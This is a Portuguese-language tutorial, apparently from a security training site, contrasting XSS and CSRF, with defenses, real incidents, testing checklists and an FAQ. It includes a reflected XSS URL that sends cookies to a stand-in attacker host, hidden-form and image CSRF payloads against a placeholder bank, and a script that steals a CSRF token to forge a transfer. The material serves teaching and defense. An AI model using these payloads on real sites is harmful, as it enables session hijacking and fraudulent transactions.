XSS e CSRF são ambas vulnerabilidades web do lado do cliente, mas funcionam de maneiras completamente diferentes. XSS (Cross-Site Scripting) permite que atacantes executem scripts maliciosos no navegador da vítima, enquanto CSRF (Cross-Site Request Forgery) engana usuários para realizar ações indesejadas em sites onde estão autenticados.
Entender a diferença entre XSS vs CSRF é essencial seja você um pentester procurando vulnerabilidades ou um desenvolvedor tentando preveni-las. Este guia detalha como cada ataque funciona, mostra exemplos práticos e cobre as defesas específicas que você precisa para ambos.
⚡ TL;DR - A diferença chave
XSS = O código do atacante roda no site vulnerável → Pode roubar tudo
CSRF = O código do atacante roda de seu próprio site → Só pode acionar ações
📊 Comparação rápida: XSS vs CSRF
Antes de mergulhar nos detalhes, aqui está uma comparação lado a lado dos ataques XSS e CSRF:
| Aspecto | 🔴 XSS | 🟠 CSRF |
|---|---|---|
| Alvo do ataque | Navegador do usuário | Sessão autenticada do usuário |
| Requer | Campo de entrada vulnerável | Sessão ativa no site alvo |
| Executa | JavaScript malicioso | Requisição HTTP indesejada |
| Objetivo do atacante | Roubar dados, sequestrar sessão | Executar ação como vítima |
| Pode ler respostas? | ✅ Sim | ❌ Não |
| Defesa principal | Codificação de saída, CSP | Tokens CSRF, cookies SameSite |
🧠 Forma fácil de lembrar: XSS é colocar palavras na boca de alguém (injetar seu script em seu site confiável), enquanto CSRF é forjar a assinatura de alguém (fazer requisições que parecem vir do usuário legítimo).
🔴 O que é XSS (Cross-Site Scripting)?
Cross-Site Scripting ocorre quando um atacante injeta JavaScript malicioso em um site confiável. Quando uma vítima visita a página, o script executa em seu navegador com acesso total ao contexto da página, incluindo cookies, tokens de sessão e conteúdo DOM.
Por que é perigoso: O navegador não consegue distinguir scripts legítimos de scripts injetados. Se vem do domínio confiável, executa com todos os privilégios daquele domínio.
Três tipos de XSS
💉 XSS Refletido
Payload faz parte da requisição (geralmente URL). Executa imediatamente quando a vítima clica no link malicioso. Não armazenado no lado do servidor.
Exemplo: Consulta de pesquisa maliciosa na URL
💾 XSS Armazenado
Payload é salvo no banco de dados (comentários, perfis). Executa para cada usuário que visualiza a página afetada. Tipo mais perigoso.
Exemplo: Comentário malicioso em um blog
🌐 XSS baseado em DOM
Payload manipula JavaScript do lado do cliente. A vulnerabilidade está em como o JS da página lida com dados, não reflexão do lado do servidor.
Exemplo: Fragmento de URL processado por JavaScript
Exemplo de ataque XSS
Considere uma página de pesquisa que exibe entrada do usuário sem sanitização:
<!-- Código PHP vulnerável -->
<p>Resultados para: <?php echo $_GET['q']; ?></p>
Um atacante cria uma URL maliciosa:
https://site-alvo.example/search?q=<script>document.location='https://atacante.example/steal?c='+document.cookie</script>
🚨 O que acontece: Quando uma vítima clica neste link, o script executa e envia seu cookie de sessão para o servidor do atacante. O atacante agora pode sequestrar sua sessão e agir como a vítima.
💡 Pratique isso: Tente explorar vulnerabilidades XSS na prática no laboratório XSS Playground, onde você pode praticar com segurança técnicas de injeção refletida, armazenada e baseada em DOM em cenários realistas.
🟠 O que é CSRF (Cross-Site Request Forgery)?
Cross-Site Request Forgery engana um usuário autenticado para realizar ações indesejadas em um site onde está logado. O atacante aproveita o fato de que navegadores automaticamente incluem cookies com cada requisição para um domínio, independentemente de onde a requisição se origina.
Diferença chave do XSS: CSRF não injeta código no site vulnerável. O código malicioso roda no site do atacante e tem como alvo o site vulnerável.
Como CSRF funciona
- Usuário faz login em acme-banco.example Cookie de sessão é definido em seu navegador
- Usuário visita a página do atacante Enquanto ainda está logado em acme-banco.example em outra aba
- Página do atacante envia requisição para acme-banco.example Formulário oculto ou tag de imagem aciona a requisição
- Navegador inclui cookie de sessão automaticamente Este é comportamento normal do navegador para qualquer requisição para aquele domínio
- Banco processa a transferência Servidor não consegue diferenciar requisições legítimas de forjadas
Exemplos de ataque CSRF
Método 1: Usando uma tag de imagem (para requisições GET):
<!-- No site do atacante -->
<img src="https://acme-banco.example/transfer?to=atacante&amount=1000" style="display:none">
Método 2: Formulário auto-submetido (para requisições POST):
<!-- Formulário oculto que se submete automaticamente -->
<form action="https://acme-banco.example/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="atacante">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>
⚠️ O ataque é invisível: Quando a vítima carrega esta página enquanto está logada em seu banco, a transferência acontece sem seu conhecimento ou consentimento. Ela não vê nada incomum.
🔍 Diferenças chave explicadas
Entender as diferenças fundamentais entre XSS e CSRF ajuda você a identificar e prevenir cada vulnerabilidade efetivamente.
🎯 O que é explorado
XSS: A confiança que o site tem no navegador do usuário. Scripts injetados rodam com privilégios completos.
CSRF: A confiança que o servidor tem no navegador do usuário. Qualquer requisição com cookies válidos é aceita.
💰 O que o atacante alcança
XSS: Controle total - ler dados, roubar credenciais, modificar página, executar qualquer ação.
CSRF: Limitado a ações apenas - pode acionar transferências mas não pode verificar saldos.
📍 Onde o ataque roda
XSS: Script malicioso executa no site vulnerável em si.
CSRF: Código malicioso roda no site do atacante, tem como alvo o site vulnerável.
👤 Dependência de estado do usuário
XSS: Funciona esteja o usuário logado ou não (autenticação torna mais valioso).
CSRF: Só funciona se o usuário tem sessão ativa. Sem sessão = sem ataque.
⚠️ XSS pode levar a CSRF?
Sim, e é por isso que XSS é frequentemente considerado mais perigoso. Se um atacante tem XSS em um site, ele pode contornar completamente as proteções CSRF.
Como código XSS roda dentro da origem confiável, ele pode:
- ✅ Ler tokens CSRF diretamente da página
- ✅ Submeter formulários com tokens válidos incluídos
- ✅ Fazer requisições autenticadas que parecem completamente legítimas
Aqui está como XSS contorna proteção CSRF:
// Payload XSS que derrota tokens CSRF
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'to=atacante&amount=1000&csrf_token=' + token
});
🔑 Insight chave: Se você tem XSS, você efetivamente tem CSRF de graça. XSS pode fazer tudo que CSRF pode fazer, mais ler dados. É por isso que XSS é tipicamente considerado de maior gravidade.
🛡️ Métodos de prevenção
XSS e CSRF requerem estratégias de defesa diferentes. Implementar tokens CSRF não vai prevenir XSS, e codificação de saída não vai parar CSRF.
🔴 Prevenindo XSS
- Codificação de saída - Escape toda entrada de usuário antes de renderizar. Use codificação apropriada ao contexto (entidades HTML, escape JavaScript, codificação URL).
- Content Security Policy (CSP) - Restrinja quais scripts podem executar. Bloqueie scripts inline e limite fontes a domínios confiáveis.
- Cookies HTTPOnly - Impeça JavaScript de acessar cookies de sessão. Limita danos mesmo se XSS ocorrer.
- Validação de entrada - Lista branca de caracteres permitidos quando possível. Rejeite ou sanitize padrões de entrada perigosos.
🟠 Prevenindo CSRF
- Tokens CSRF - Inclua tokens imprevisíveis em formulários e verifique no lado do servidor. Atacantes não podem adivinhar ou acessar o token.
- Cookies SameSite - Defina SameSite=Strict ou Lax. Impede que cookies sejam enviados com requisições cross-origin.
- Verificar cabeçalhos Origin/Referer - Verifique se requisições se originam do seu domínio. Rejeite origens inesperadas.
- Reautenticação - Exija confirmação de senha para operações críticas como transferências de fundos.
📋 Cola rápida de defesa:
Defesa XSS: Sanitizar SAÍDA + CSP + HTTPOnly
Defesa CSRF: Tokens + SameSite=Strict + Verificar Origin
💥 Impacto do mundo real
Ambas as vulnerabilidades causaram danos significativos em sistemas de produção:
🔴 Ataques XSS famosos
Worm Samy (MySpace, 2005)
Um worm XSS armazenado que se espalhou para mais de 1 milhão de usuários em 20 horas, adicionando "Samy is my hero" a cada perfil infectado.
British Airways (2018)
Atacantes injetaram scripts que capturaram 380.000 detalhes de cartões de pagamento conforme os clientes os digitavam.
🟠 Ataques CSRF famosos
Netflix (2006)
Vulnerabilidade CSRF permitiu que atacantes alterassem detalhes de conta do usuário, incluindo endereços de entrega.
ING Direct (2008)
Atacantes podiam transferir fundos entre contas usando requisições forjadas.
Esses exemplos demonstram por que ambas as vulnerabilidades aparecem consistentemente no OWASP Top 10 e requerem medidas de segurança dedicadas.
🧪 Testando XSS e CSRF
Saber identificar essas vulnerabilidades é tão importante quanto entendê-las.
Checklist de testes XSS
- Injetar
<script>alert(1)</script>em campos de entrada - Verificar se a saída é codificada ou renderizada como HTML
- Testar parâmetros URL, campos de formulário, cabeçalhos, cookies
- Tentar contornos de filtros: codificações, variações de tags, manipuladores de eventos
Checklist de testes CSRF
- Verificar se requisições de mudança de estado incluem tokens CSRF
- Tentar reproduzir requisições de uma origem diferente
- Verificar se atributos de cookie SameSite estão definidos
- Testar se tokens são validados no lado do servidor (não apenas presentes)
🎯 Pratique com labs dedicados
🔴 XSS Playground
Pratique ataques XSS refletidos, armazenados e baseados em DOM. Aprenda contornos de filtros e técnicas de sequestro de sessão em ambiente seguro.
🟠 Transferência bancária CSRF
Explore falsificação de requisição baseada em sessão em cenário bancário realista. Entenda como atacantes abusam de sessões autenticadas.
Combine prática prática com o curso Cross-Site Scripting e curso CSRF para entender a teoria, ferramentas e estratégias de defesa por trás de cada técnica.
❓ Perguntas frequentes
CSRF faz parte de XSS?
Não, são vulnerabilidades completamente separadas com vetores de ataque e defesas diferentes. No entanto, XSS pode ser usado para contornar proteções CSRF já que código XSS pode ler tokens CSRF da página.
Qual é mais perigoso: XSS ou CSRF?
XSS é geralmente mais perigoso. Dá aos atacantes controle total sobre a sessão do usuário, incluindo a capacidade de ler dados, não apenas acionar ações. XSS também pode contornar proteções CSRF, tornando-o estritamente mais poderoso.
CSRF pode roubar dados?
Não. CSRF só pode acionar ações como submissões de formulário ou mudanças de estado. Devido à política de mesma origem, atacantes não podem ler respostas de requisições cross-origin. Podem transferir dinheiro mas não podem verificar saldos.
Tokens CSRF previnem XSS?
Não. Tokens CSRF apenas previnem ataques CSRF. XSS requer defesas separadas como codificação de saída, CSP e validação de entrada. Na verdade, XSS pode ler tokens CSRF e contornar aquela proteção inteiramente.
Ambas vulnerabilidades podem existir na mesma página?
Sim. Uma página pode ser vulnerável a ambos XSS e CSRF simultaneamente. Cada vulnerabilidade precisa ser abordada com suas defesas específicas. Ter uma não impede nem corrige a outra.
🎯 Resumo: XSS vs CSRF
Entender a distinção entre XSS e CSRF é fundamental tanto para testes de segurança ofensivos quanto para desenvolvimento defensivo:
🔴 XSS (Cross-Site Scripting): Injeta scripts maliciosos em sites confiáveis. Pode roubar dados, sequestrar sessões e executar qualquer ação. Defenda com codificação de saída e CSP.
🟠 CSRF (Cross-Site Request Forgery): Engana usuários autenticados em ações indesejadas. Limitado a acionar requisições, não pode ler respostas. Defenda com tokens e cookies SameSite.
🔗 Relação chave: XSS pode contornar proteções CSRF, tornando-se a vulnerabilidade mais grave quando ambas estão presentes.
Ambas as vulnerabilidades requerem prática prática para verdadeiramente entender. Ler sobre roubo de cookies é uma coisa; realmente criar payloads e vê-los executar constrói intuição real para encontrar esses problemas na natureza.
🚀 Pronto para explorar essas vulnerabilidades na prática? Comece com o XSS Playground para dominar injeção de script, depois vá para o lab de transferência bancária CSRF para entender requisições forjadas. Aprofunde seu conhecimento com o curso completo de segurança de aplicações web cobrindo contornos de filtros, mecanismos de defesa e técnicas de exploração do mundo real.